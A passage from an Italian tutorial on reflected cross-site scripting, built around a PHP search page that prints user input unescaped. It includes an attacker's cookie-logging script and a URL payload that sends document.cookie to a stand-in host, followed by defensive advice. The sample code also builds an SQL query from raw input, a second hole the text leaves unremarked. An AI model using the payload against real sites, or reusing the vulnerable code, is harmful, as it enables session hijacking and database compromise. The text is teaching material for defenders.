Esempio pratico completo su "pagina di ricerca"
Poniamo che il file http://mysite.com/search.php contenga le seguenti istruzioni (viene usato il famosissimo wrapper ADOdb per la connessione al database):
require_once ('ADOdb/mydb.php');
$query = "SELECT * FROM tabella_documenti WHERE titolo = '".$_GET['titolo']."'";
$rslt = $db->Execute($query) or die("ERR.");
echo "<b>Risultati per: ".$_GET['titolo']."</b><br/><br/>";
while (!$rslt->EOF)
{
echo $rslt->Fields('id_documento')."<br/>";
$rslt->MoveNext();
}
echo "<hr/>";
search.php stampa a video il codice di tutti i documenti il cui titolo coincide con la variabile titolo passata in query string. L'errore sta però nello stampare a video anche la stessa stringa passata, senza controlli.
Sia quindi lo script del cracker, http://hacksite.org/yourcookies.php:
$fd = fopen("C:/tmp/cookies.txt","a+");
fwrite($fd, stripslashes($_GET['data'])."rn");
fclose($fd);
Richiamando search.php nel seguente modo:
http://mysite.com/search.php?titolo=<script>document.location.href=" http://hacksite.org/ yourcookies.php?data="%2bdocument.cookie</script>
(%2b è la codifica di " + ") nella pagina dei risultati verrà inserito il codice JavaScript:
[...]
<b>Risultati per: <script>document.location.href=" http://hacksite.org/ yourcookies.php?data="+document.cookie</script></b><br/><br/>
[...]
e cookies.txt conterrà:
PHPSESSID=39342fa0aa265bde2d5ffb55fae2f5cb
[…]
Soluzione per il programmatore dell'applicazione Web
Difendersi da tali tipologie di exploit è tremendamente semplice (e tremendamente laborioso): come già ribadito altre volte, è necessario filtrare i dati in ingresso, ma anche in uscita, sempre.
In questo caso, la funzione htmlentities() del PHP, che converte tutti i possibili caratteri in entità HTML, deve essere applicata prima di salvare l'input su db (o file di testo che sia) e/o prima della sua visualizzazione: in seguito tutto sarà, di fatto, sicuro. Alternativamente, possiamo usare la funzione strip_tags che, radicalmente, rimuove tutti i tag HTML e PHP da una stringa.
Se si vuole, invece, dare la possibilità di usare codice JavaScript all'interno dell'applicazione Web, occorre usare delle "whitelist" (lista delle stringhe ammissibili), ovvero definire a priori quali stringhe innocue possiamo accettare, e scartare le rimanenti.
Soluzione per l'utente finale
Verosimilmente, l'unica maniera per evitare falle di sicurezza di programmi mal scritti è disabilitare l'esecuzione di ogni script client-side (JavaScript e simili). Sfortunatamente ciò si scontra con la possibilità di navigare sulla stragrande maggioranza di siti ed applicazioni Web che fanno, giustamente, un uso capillare e sacrosanto di tali tecnologie.
A fronte di quanto detto, possiamo tuonare enunciando che per l'utente finale, in definitiva, un metodo sicuro e trasparente di protezione non esiste.